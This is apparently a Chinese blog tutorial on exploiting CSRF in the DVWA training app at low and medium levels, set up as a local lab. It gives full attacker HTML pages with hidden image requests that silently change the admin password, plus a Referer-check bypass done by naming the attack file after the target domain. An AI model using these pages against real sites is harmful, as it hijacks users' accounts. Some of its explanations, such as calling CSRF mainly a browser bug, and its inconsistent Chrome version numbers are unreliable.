DVWA详解:CSRF篇(上)
前言:
关于CSRF这个话题,一直是博主想写的话题而又迟迟没有写的,主要原因是,博主一直没能在HIGH难度下重现真正的CSRF漏洞(未禁用浏览器的"同源策略");最近闲了点,也就想起了这件事,于是又研究起"DVWA中CSRF的HIGH难度",在博主写了一堆JS测试代码再加上一系列资料搜索后,得出了一个结论:想在DVWA的HIGH难度,在不禁用"浏览器的同源策略"下,是无法实现"纯CSRF"攻击的(不结合其它漏洞)!当然,这个说法可能并不完全严谨,毕竟是否可以实现CSFR攻击还与浏览器的版本有关,在很旧很旧的浏览器上说不定真可以实现,但博主已经在XP时代的最高版本的CHROME浏览器上进行了测试,使用再旧的浏览器进行测试显然已经没意义了!
读了上面这段,估计有读者就开始质疑博主上面的结论了!明明网络上有一堆"DVWA的CSRF的全难度的通关教程或视频教程"啊,它们也没有禁用"同源策略"啊,它们不是成功了吗?是的,的确实是这样,"有教程"但不代表那些教程是正确的!而且博主说的是纯CSRF攻击!另外很多在百度流行的CSRF教程甚至不算教程,因为这些教程连重点也没有搞清楚,CSRF的重点是"CS",即"Cross-Site"!
如果你在找CSRF的教程,我建议你看这篇博文!虽然写得不算太好,但相比网络上的那些CSRF教程,博主这篇CSRF博文质量上明显会高得多,这是因为博主喜欢这个漏洞,感觉这样的漏洞大有作为(可惜博主的这种想法是错的);这篇博文,虽然博主写得比较全的,但真的没什么意义,了解CSRF后读者自然会明白~~
有些知识,还是先说一说比较好;关于什么是CSRF,英文全称是"Cross-site Request Forgery",中文意思是"跨站请求伪造/跨域请求伪造";这个名词中,关键字是"Cross-site",即"跨域"!!!什么是"Cross-site"?"Cross-site"实际就是"浏览器在访问B网站时,调用了A网站的资源或在A网站上执行了不应该的操作",对于CSRF攻击来说,一般指的是调用了敏感资源信息,例如:访问B网站却调用了A网站的COOKIE;现在再说说CSFR漏洞是怎么产生的吧,CSRF产生的主要原因是"浏览器的安全策略存在缺陷",也就是说,这是"浏览器"的BUG!!!怎么样?看完前面这句话,是不是与你对"传统的WEB安全漏洞"的理解不同?我们常说的"WEB安全漏洞",通常情况下,大部分人都会理解为"由于服务端的代码编写存在逻辑缺陷"从而引发漏洞(这的确是其中一个原因但不是主要原因),例如"SQL注入/文件上传/..."等等的这些漏洞;但CSRF不同,它产生的原因是因为"浏览器存在BUG"!!!这段的这个知识点很重要,但很少会被提及,这对于理解CSRF来说很重要(其实"XSS"也是与浏览器有关)!!!
上面已经简单解释了CSFR漏洞及其重要的关键字,下面进入正题,读者将可以了解到什么是真正的"Cross-site"及其危害,还有为什么CSRF在后来逐渐的不被提及~~
特别提示:如果你在实验过程中,直接复制本博客任意博文中的配置/代码,"空格"字符的前面将可能产生不可见的字符"M-BM-",从而造成文件不可用,这是字符编码的问题~若必需使用复制粘贴方式,请务必手动替换掉配置项中的所有空格!!!或尝试使用以下命令过滤掉所有"M-BM-"字符~
1 2 3 4 |
sed -i 's/\xc2\xa0/ /g' [文件名称] # LINUX下可使用以下命令查看不可见字符的情况 cat -A [文件名称] |
快速跳转
环境需求:
要模拟CSRF攻击,读者可以跟着本教程的代码去操作,大部分情况下,你只需要复制粘贴博文中的代码即可;读者需要"二台安装了DOCKER的虚拟机",再加上一个"旧版本的Chrome浏览器的PC(建议也使用虚拟机)",博主的环境如下:
1、"DOCKE虚拟机_A(IP:192.168.100.42)"--> 安装了"DVWA";读者可以使用以下压缩包,通过DOCKER-COMPOSE快速部署起DVWA的2.3版本:百度网盘(提取码:7s4q)--> [ 文件名称:DVWA/DVWA-2.3.tar.gz ];
2、"DOCKE虚拟机_B(IP:192.168.100.56)"--> 部署了一个NGINX用于模跨站攻击网站(会在网站上创建相应的攻击页面);
3、"安装旧版本的Chrome浏览器的PC(IP:192.168.100.X)"--> 测试CSRF攻击,建议使用WINDOW;读者可以从网盘中下载CHROME的旧版本使用,这个版本是32位的最后一个支持XP操作系统的免安装版本(要验证CSRF攻击,使用旧版本的浏览器更文件);百度网盘(提取码:7s4q)--> [ 文件名称:OTHER/chrome32_49.0.2623.75.exe ]
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
# ================================================================================================= # 1、在"DOCKE虚拟机_A(IP:192.168.100.42)"运行起你的DVWA服务(使用了博主的"DVWA-2.3.tar.gz"文件情况下); # 注:在每次使用"docker-compose down"完全清除容器后,再次运行需要使用"./Readme.sh"文件(有配置文件复制至容器); $ tar -zxf DVWA-2.3.tar.gz $ cd DVWA $ ./Readme.sh $ docker-compose down # 删除服务 $ docker-compose stop # 停止服务 $ docker-compose start # 启动服务 # ================================================================================================= # 2、在"DOCKE虚拟机_B(IP:192.168.100.56)"运行起你的NGINX服务 $ docker run --rm --name csrf -itd -p 80:80 nginx:alpine $ cd ; mkdir -p delete/html/csrf # 创建"delete/html/csrf"用于保存创建的"HTML攻击代码" $ docker stop csrf # 停止服务(会自动删除容器) # ================================================================================================= # 3、在"安装旧版本的Chrome浏览器的PC(IP:192.168.100.X)"写入HOSTS解释; # 以下是WINDOW上HOSTS文件的位置,LINUX上的位置为"/etc/hosts",如果你的虚拟机不是这两个IP地址, # 按实际修改即可;如果你使用LINUX,你需要找一个有相关漏洞的浏览器版本; CMD> notepad c:\windows\system32\drivers\etc\hosts 192.168.100.42 dvwa.domain.local 192.168.100.56 csrf.attack.local |
完成以操作后,环境大概如下图所示:
主要攻击代码:
本处先说明针对DVWA上的CSRF漏洞,所使用的HTML攻击文件中的主要攻击代码是什么,见下;因为无论是"LOW"还是"MEDIUM"难度,实现"跨站请求伪造攻击"的HTML代码都是相同的,利用的是旧版本浏览器的安全漏洞,实现从站点"http://csrf.attack.loccal"跨站攻击"http://dvwa.domain.local"网站;原理在于,该版本的浏览器在解释带"src="选项的HTML标签时,不会验证"同源策略",在未正确处理"跨域"问题的情况下,意外的调用了"http://dvwa.domain.local"的COOKIE,造成"跨站请求攻击"成功;
1 2 3 |
<img src="http://dvwa.domain.local/vulnerabilities/csrf/?password_new=XXX&password_conf=XXX&Change=Change" height="0" width="0" /> # 注意:并不是只有<img>标签可以,该本版本浏览器上,所有带"scr="选项的HTML标签均能实现CSRF; |
在新版本的CHROME上,"src="选项的漏洞已经被修复;另外,在CHROME新版本的CHROME安全性上,GOOGLE针对COOKIE的安全性引入了新的安全机制,读者可以搜索"Cookie SameSite"来查找相关信息,这是COOKIE增加的其中一个安全属性(还增加了其它安全属性);
对于HIGH难度,要实现纯CSRF攻击需要禁用"同源策略",在禁用"同源策略"的情况下,上述方式也是有效的;
在官方的对CSRF漏洞的帮助文档上,表明CSRF在"MEDIUM/HIGH"难度下应结合其它漏洞一起使用(例如结合XSS使用,但如果结合XSS,那就不是纯CSRF攻击了),本篇博文中使用了HTML带"src="选项的标签,实现了CSRF攻击,这是一个意外的收获(基于所使用的浏览器的不安全性);
正如前面所说,CSRF的漏洞主要是来源于浏览器侧(服务端侧可通过增加代码的健壮性以进行防御),而一旦浏览器修复了漏洞,你就无法实验CSRF攻击了;这也就是为什么需要使用旧版本的CHRMOE浏览器进行测试,并且在新版本的浏览器上无法实验CSRF攻击的原因了;
LOW - 实验操作:
在"DOCKE虚拟机_B(IP:192.168.100.56)"执行以下操作,注意:
1、"index.html"这份文件不是必需的,只是用于方便测试,文件的HTML代码只是用于快速调用其对应的WEB页面(在新窗口中打开,可以使用JS代码实现打开后马上关闭实现更隐蔽的操作,但不便于实验所以没使用),包含了"LOW/MEDIUM"难度等级的快速调用;不创建"index.html"直接调用对应的页面也是可以的;
2:下面的SHELL代码未包含MEDIUM等级的WEB页面创建,MEDIUM难度的WEB页面创建,在MEDIUM等级中的说明中;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 |
# 以下SHELL代码在"DOCKE虚拟机_B"(IP:192.168.100.56)中执行; # 1、进入目录(前面创建的目录),只是用"delete/html"目录保存HTML代码文件而已, # 之后会将这些HTML代码文件复制至"csrf"容器内; $ cd ; cd delete/html # 2、创建"index.html"页面,方便操作而已(不需要每次向浏览器输入不同的URL); # 在还原密码为"password"时也更方便; $ cat > index.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>DVWA CSRF TEST</title> <style> body {display: flex; flex-direction: column; align-items: center; margin: 10px;} button { height: 25px; width: 320px; margin: 5PX;} </style> </head> <body> <H2>LOW</H2> <button onclick="OpenWindow('/csrf/low.html')">CSRF LOW - 修改密码为"adminroot"</button> <button onclick="OpenWindow('/csrf/low_restore.html')">CSRF LOW - 修改密码为"password"</button> <H2>MEDIUM</H2> <button onclick="OpenWindow('/csrf/medium_dvwa.domain.local.html')">CSRF MEDIUM - 修改密码为"adminroot"</button> <button onclick="OpenWindow('/csrf/medium_restore_dvwa.domain.local.html')">CSRF MEDIUM - 修改密码为"password"</button> <H2>HIGH - 不可能</H2> <button onclick="">CSRF HIGH - 无操作</button> </body> <script> function OpenWindow(page) { const url = 'http://csrf.attack.local' window.open(url + page); } </script> </html> EOF # 3、创建"csrf/low.html"页面;在浏览器打开这个页面就会触发CSRF攻击,将"admin"用户的密码改成"adminroot"[LOW难度]; $ cat > csrf/low.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>DVWA CSFR LOW</title> </head> <body> <h1>[ LOW ] > PASSWORD : adminroot</h1> <p><img src="http://dvwa.domain.local/vulnerabilities/csrf/?password_new=adminroot&password_conf=adminroot&Change=Change" height="0" width="0" /></p> </body> </html> EOF # 4、创建"csrf/low_restore.html"页面;在浏览器打开这个页面就会触发CSRF攻击,将"admin"用户的密码改成"password"[LOW难度]; $ cat > csrf/low_restore.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>DVWA CSFR LOW RESTORE</title> </head> <body> <h1>[ LOW ] > PASSWORD : password</h1> <p><img src="http://dvwa.domain.local/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" height="0" width="0" /></p> </body> </html> EOF # 5、文件复制 # 将"index.html"复制至"csrf"容器内; # 将"csrf/"目录复制至"csrf"容器内; # 执行完以下操作后,就可以在"旧版本的Chrome浏览器的PC(IP:192.168.100.X)"上, # 使用旧版本的Chrome实验LOW难度下的CSRF攻击了; $ docker cp index.html csrf:/usr/share/nginx/html $ docker cp csrf/ csrf:/usr/share/nginx/html |
以在"旧版本的Chrome浏览器的PC(IP:192.168.100.X)"上操作:
1、打开"http://dvwa.domain.local"进行登录(这一步的操作是为了让浏览器获取COOKIE,用于被"http://csrf.attack.local"网站进行攻击);
2、修改难度为"LOW";
3、在浏览器的新窗口中打开"http://csrf.attack.local/index.html",你可以选择以下操作:
- A、点击'CSRF LOW - 修改密码为"adminroot"'按键就会将"admin"的密码修改为"adminroot"(以上操作实际就是访问了"http://csrf.attack.local/csrf/low.html"这个页面而且利用CSRF漏洞将密码修改成"adminroot");
- B、点击'CSRF LOW - 修改密码为"password"'按键就会将"admin"的密码修改为"password"(以上操作实际就是访问了"http://csrf.attack.local/csrf/low_restore.html"这个页面而且利用CSRF漏洞将密码修改成"password");
4、假设我们执行了"A"操作,返回在"DVWA",使用CSRF页面中的测试登录测试功能(点击"Test Credentials"弹出子页面),使用"admin/adminroot"进行登录测试,发现成功登录了,密码由原来默认的"password"密码被修改为"adminroot";
以下相关的操作截图,读者可以参考操作过程:
小结:在登录了"http://dvwa.domain.local"的情况下,用户在访问了"http://csrf.attack.local/csrf/low.html"这个页面,在用户不知情的情况下,其在"http://dvwa.domain.local"网站的用户密码被修改了,这个过程对用户来说是无感知的;从用户的角度来说,在他下一次尝试登录"http://dvwa.domain.local"时,甚至不知道为什么会登录不成功,他甚至不会意识到自己被攻击了(你无法直观的从"http://csrf.attack.local/csrf/low.html"中看到你被攻击了);
LOW - 分析:
从源代码中可以看到,在LOW等级下,针对"请求"的安全性检查,只依赖于保存在浏览器上的COOKIE;而DVWA的CSRF模块只验证了二次输入的密码是否一致,若一致则对密码进行MD5哈希后再进行数据库更新;从整个代码中"密码修改"的逻辑上来说存在以下问题:
1、使用了安全性较低的GET请求方式;
2、未对用户的输入进行过滤或做转义处理(会产生SQL漏洞,但与CSRF漏洞无关);
3、未二次校验浏览侧用户输入的合法性(仅使用了COOKIE而未使用其它二次校验方式,但是COOKIE由于浏览器的安全规则不完善,被跨域调用了);注意,这是LOW难度下产生CSRF的主要原因;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
// 以上代码来源于DVWA 2.3版本"CSRF"模块的"LOW"等级代码 // > "vulnerabilities/csrf/source/low.php" // 其对应的完整GET请求样式如下: // http://DAMAIN/vulnerabilities/csrf/?password_new=XXX&password_conf=XXX&Change=Change <?php if( isset( $_GET[ 'Change' ] ) ) { // 将"GET请求"中的参数存放于"$_GET"数组变量中, // 然后分别保存在"$pass_new"与"$pass_conf"变量中 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 比较两次输入的密码是否一致,一致则执行修改操作; if( $pass_new == $pass_conf ) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } // 释放SQL连接 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> |
MEDIUM - 实验操作:
在"DOCKE虚拟机_B"(IP:192.168.100.56)执行以下操作;创建用于MEDIUM等级的CSRF攻击页面;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 |
# 以下SHELL代码在"DOCKE虚拟机_B"(IP:192.168.100.56)中执行; # 1、进入目录(前面创建的目录),只是用"delete/html"目录保存HTML代码文件而已; $ cd ; cd delete/html # 2、创建"csrf/medium_dvwa.domain.local.html"页面;在浏览器打开这个页面就会触发CSRF攻击,将"admin"用户的密码改成"adminroot"[MEDIUM难度]; $ cat > csrf/medium_dvwa.domain.local.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>DVWA CSFR MEDIUM</title> </head> <body> <h1>[ MEDIUM ] > PASSWORD : adminroot</h1> <p><img src="http://dvwa.domain.local/vulnerabilities/csrf/?password_new=adminroot&password_conf=adminroot&Change=Change" height="0" width="0" /></p> </body> </html> EOF # 3、创建"csrf/medium_restore_dvwa.domain.local.html"页面;在浏览器打开这个页面就会触发CSRF攻击,将"admin"用户的密码改成"password"[MEDIUM难度]; $ cat > csrf/medium_restore_dvwa.domain.local.html << "EOF" <!DOCTYPE html> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>DVWA CSFR MEDIUM RESTORE</title> </head> <body> <h1>[ MEDIUM ] > PASSWORD : password</h1> <p><img src="http://dvwa.domain.local/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change" height="0" width="0" /></p> </body> </html> EOF # 4、文件复制 # 将"index.html"复制至"csrf"容器内; # 将"csrf/"目录复制至"csrf"容器内; # 执行完以下操作后,就可以在"旧版本的Chrome浏览器的PC(IP:192.168.100.X)"上, # 使用旧版本的Chrome实验LOW难度下的CSRF攻击了; $ docker cp index.html csrf:/usr/share/nginx/html $ docker cp csrf/ csrf:/usr/share/nginx/html |
以在"旧版本的Chrome浏览器的PC(IP:192.168.100.X)"上操作:
1、打开"http://dvwa.domain.local"进行登录(这一步的操作是为了让浏览器获取COOKIE,用于被"http://csrf.attack.local"网站进行攻击);
2、修改难度为"MEDIUM";
3、在浏览器的新窗口中打开"http://csrf.attack.local/index.html",你可以选择以下操作:
- A、点击'CSRF MEDIUM - 修改密码为"adminroot"'按键就会将"admin"的密码修改为"adminroot"(以上操作实际就是访问了"http://csrf.attack.local/csrf/medium_dvwa.domain.local.html"这个页面而且利用CSRF漏洞将密码修改成"adminroot");
- B、点击'CSRF MEDIUM- 修改密码为"password"'按键就会将"admin"的密码修改为"password"(以上操作实际就是访问了"http://csrf.attack.local/csrf/medium_restore_dvwa.domain.local.html.html"这个页面而且利用CSRF漏洞将密码修改成"password");
4、假设我们执行了"A"操作,返回在"DVWA",使用CSRF页面中的测试登录测试功能(点击"Test Credentials"弹出子页面),使用"admin/adminroot"进行登录测试,发现成功登录了,密码由原来默认的"password"密码被修改为"adminroot";
以下相关操作截图,诸可以参考操作:
小结:MEDIUM难度在服务端侧增加了二次校验以防止CSRF攻击,可惜校验逻辑存在缺陷,防护规则被攻击方通过重命名HTML文件名称给绕过了,详见下面分析;
MEDIUM - 分析:
从源代码中可以看到,相对于LOW等级,在MEDIUM等级下DVWA的CSRF模块增加了使用"stripos()"对浏览器侧的"用户输入的合法性"进行了验证;从整个代码中"密码修改"的逻辑上来说存在以下问题:
1、使用了安全性较低的GET请求方式;
2、未对用户的输入进行过滤或做转义处理(会产生SQL漏洞,但与CSRF漏洞无关);
3、使用了不合适的"stripos()"方法来验证合法性;"stripos()"的功能判断了"$_SERVER[ 'HTTP_REFERER' ]"中是否包含了"$_SERVER[ 'SERVER_NAME' ]",问题在于"$_SERVER[ 'HTTP_REFERER' ]"是"来源URL地址",于是,相对于攻击方来说,他只需要修改页面文件的名称,就可以绕过了PHP代码中的"跨域校验",这也就是为什么这此文件的名称会被命名为"medium_dvwa.domain.local.html"与"medium_restore_dvwa.domain.local.html"的原因;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
// 以上代码来源于DVWA 2.3版本"CSRF"模块的"MEDIUM"等级代码 // > "vulnerabilities/csrf/source/medium.php" // 其对应的完整GET请求样式如下: // http://DOMAIN/vulnerabilities/csrf/?password_new=XXX&password_conf=XXX&Change=Change <?php if( isset( $_GET[ 'Change' ] ) ) { // 在修改密码前,比较请求中所使用的"域名"是否在"来源页面链接中"; // 这实际上是指DVWA发送请求时,所附带的"Referer"字段与"Host"字段的值; if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { // 将"GET请求"中的参数存放于"$_GET"数组变量中, // 然后分别保存在"$pass_new"与"$pass_conf"变量中 $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // 比较两次输入的密码是否一致,一致则执行修改操作; if( $pass_new == $pass_conf ) { $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); echo "<pre>Password Changed.</pre>"; } else { echo "<pre>Passwords did not match.</pre>"; } } else { echo "<pre>That request didn't look correct.</pre>"; } // 释放SQL连接 ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?> |
关于绕过的逻辑,可以参考以下截图说明:
结:
至此,本篇关于DVWA上CSRF的"LOW/MEDIUM"难度的攻击过程已经完整展示了;使用了三台虚拟机来模拟,也是为了表现什么是CSRF及其有多大的危害;当然,写本篇博文的重点是为了表现"Cross-Site"这个关键字,这也是与网上其它博文不同的地方;同时这也是当初吸引博主重点关注CSRF攻击的原因!可惜在足够的理解CSRF后,博主发现这种攻击方式已经没有什么意义了~
"下篇"会介绍DVWA上CSRF的"HIGH"难度,会有解题过程,但因为解题过程需要禁用浏览器的"同源策略",这会让CSRF攻击变得意义不大,毕竟现实中没人会主动去禁用"同源策略";CHROME的"同源策略"在版本"4"时已经自带了,而博主在本篇博文中所使用的CHROME版本已经是"42"了,读者可以想"同源策略"这是多早以前的安全机制了;另外正如博主在前言中所说,产生CSRF漏洞的主要原因是浏览器上存在的BUG,现在博主在博文中所使用的CHROME版本,已经是WINDOW XP时代的了,在这样的浏览器上也无法实现HIGH难度下的CSRF攻击(启用"同源策略"的情况下),更别说现在是2024年了;在"下篇"的内容中,博主再尝试解释清楚这些东西吧~~
DVWA详解:CSRF篇(上):等您坐沙发呢!